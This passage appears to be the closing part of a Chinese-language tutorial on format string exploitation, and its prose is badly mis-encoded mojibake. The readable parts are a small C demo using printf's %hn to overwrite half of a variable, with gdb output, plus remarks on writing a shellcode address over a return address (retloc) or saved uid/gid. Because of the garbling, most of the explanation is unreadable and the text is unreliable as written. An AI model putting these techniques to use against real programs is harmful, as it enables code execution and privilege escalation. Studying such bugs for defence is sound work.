Õâ¸ö³ÌÐòÔÚredhat 6.1ºÍredhat 6.2ϾùÑé֤ͨ¹ý <4> ¹¥»÷·½·¨Èý£º¶à´Î¸²¸Ç·µ»ØµØÖ·(ÀûÓÃ%hn) ========================================= ÔÚdrowµÄstatd-toy.cÖÐÓÖÌṩÁËÒ»ÖÖ·½·¨:ÀûÓÃ%hn,Ëü»á¸²¸ÇÒ»¸ö×ֵĸß16λ£º main() { int a=0x41414141; printf("a=%#x%hn\n",a,&a); printf("a=%#x\n",a); } [warning3@redhat-6 wuftp]$ ./aa a=0x41414141 a=0x4141000c <....>ÓÃgdb¿´Ò»Ï£º (gdb) b 5 Breakpoint 1 at 0x80483ea: file aa.c, line 5. (gdb) r Starting program: /home/warning3/wuftp/./aa a=0x41414141 Breakpoint 1, main () at aa.c:5 5 printf("a=%#x\n",a); (gdb) p &a $1 = (int *) 0xbffffcb4 (gdb) x/4b 0xbffffcb4 0xbffffcb4: 0x0c 0x00 0x41 0x41 Òò´ËÎÒÃÇÖ»Òª¸²¸ÇÁ½´Î¾Í¿ÉÒÔÁË£¬¾ßÌåµÄ·½·¨ºÍÇ°ÃæÏàËÆ£¬ÓÐÐËȤµÄ¶ÁÕß¿ÉÒÔ×ÔÐвâÊÔһϡ£ ÕâÖÖ·½·¨µÄºÃ´¦ÊÇÎÒÃDz»»á¸²¸Ç¶àÓàµÄµØÖ·£¬ËüÖ»¸²¸ÇÖ¸¶¨µØÖ·µÄÁ½¸ö×Ö½ÚÄÚÈÝ£¡ ×ÛºÏÉÏÃæµÄ¼¸ÖÖ·½·¨£¬ÎÒÃǻῴµ½µÚÈýºÍµÚËÄÖÖ·½·¨ÊÇ×îͨÓõģ¬¿ÉÒÔÊÊÓÃÓÚ¸÷ÖÖÇé¿ö¡£µÚ Ò»Öֺ͵ڶþÖÖ¶¼ÓÐÆä×Ô¼ºµÄ¾ÖÏÞÐÔ£¬¸ü¶àµÄÒÀÀµÓÚÓ¦ÓóÌÐò×ÔÉíµÄÌØµã¡£ ²»¹ýÕ⼸ÖÖ·½·¨¶¼ÓÉÒ»¸ö¾ÖÏÞ£¬¾ÍÊDZØÐë·Ç³£¾«È·µÄ¸ø¶¨´æ·Å·µ»ØµØÖ·µÄµØÖ·£ºretloc,´íÒ» ¸ö×Ö½ÚÒ²²»ÐС£Õâʹ¹¥»÷µÄ³É¹¦ÂÊ´ó´òÕÛ¿Û¡£»ØÒäÒ»ÏÂÔ­À´µÄÆÕͨexploitΪʲôÈÝÒ׳ɹ¦£¬ ÊÇÒòΪËüͨ³£Ê¹ÓÃÒ»´®·µ»ØµØÖ·À´Ìî³ä¶ÑÕ»£¬Ö»ÒªÄܸ²¸Ç·µ»ØµØÖ·retloc¾Í¿ÉÒÔÁË£¬²¢²»ÐèÒª ÖªµÀretlocÈ·ÇеÄÖµ¡£¶øÕâÀÎÒÃDZØÐ뾫ȷָ¶¨retloc,½«shellcodeµØÖ·Ö±½ÓÌî³äµ½·µ»ØµØ Ö·ÖÐÈ¥¡£¶øÓÉÓÚretlocµÄ´óСºÍÓû§»·¾³±äÁ¿µÈÒòËØÓкܴó¹ØÏµ£¬ÍùÍù²»ÊǺÜÈ·¶¨,²»ÊÇÄÇô ÈÝÒ×¾ÍÒ»´Î³É¹¦µÄ¡£ÄÇôÈç¹ûÎÒÃÇÄܹ»Ö¸¶¨Ò»´®retloc,retloc+4,retloc+8...,·Ö±ð½« shellcodeµØÖ·´æµ½ÕâЩµØÖ·È¥£¬ÄÇôÎÒÃDz»¾Í¿ÉÒÔÔö´ó³É¹¦µÄ°ÑÎÕÁËÂð£¿ÀûÓõÚ4ÖÖ·½·¨£¬Ê¹ ºÜÈÝÒ××öµ½ÕâÒ»µãµÄ¡£¾ßÌåµÄ²Ù×÷ÓÐÐËȤµÄ¶ÁÕß¿ÉÒÔ×ÔÐвâÊÔ£¬Ò²¿ÉÒÔÓëÎÒÁªÏµ¡£ ÁíÍ⣬%n²¢²»½ö½ö¾ÖÏÞÓÚÓÃÀ´¸²¸Ç·µ»ØµØÖ·£¬Ò²¿ÉÒÔÓÃÀ´¸²¸ÇijЩ±£´æµÄÊý¾Ý£¬±ÈÈç±£´æ µÄuid,gidµÈµÈ¡£ ½áÊøÓï ======== ÕâÖÖ¸ñʽ»¯´®µ¼ÖµÄÒç³öÎÊÌ⣬ËäÈ»¿´ÆðÀ´±È½Ï¸´ÔÓ£¬Êµ¼ÊÉÏÖ»Òª³ÌÐòÔ±ÔÚÊéдӦÓóÌÐò ʱÉÔ¼Ó×¢Ò⣬ÊÇÍêÈ«¿ÉÒÔ±ÜÃâµÄ¡£¿´À´´ÖÐÄÕæµÄÊǰ²È«µÄ´óµÐ¡£:-) ÓÉÓÚʱ¼ä²Ö´Ù£¬ÎÄÖÐ ´íÊèÖ®´¦ÄÑÃ⣬¾´ÇëÅúÆÀÖ¸Õý¡£ ²Î¿¼ÎÄÏ× ========== [1] <> , lamagra (lamagra@digibel.org) [2] <> , prizm (prizm@resentment.org) [3] <>, Pascal Bouchareine [ kalou ]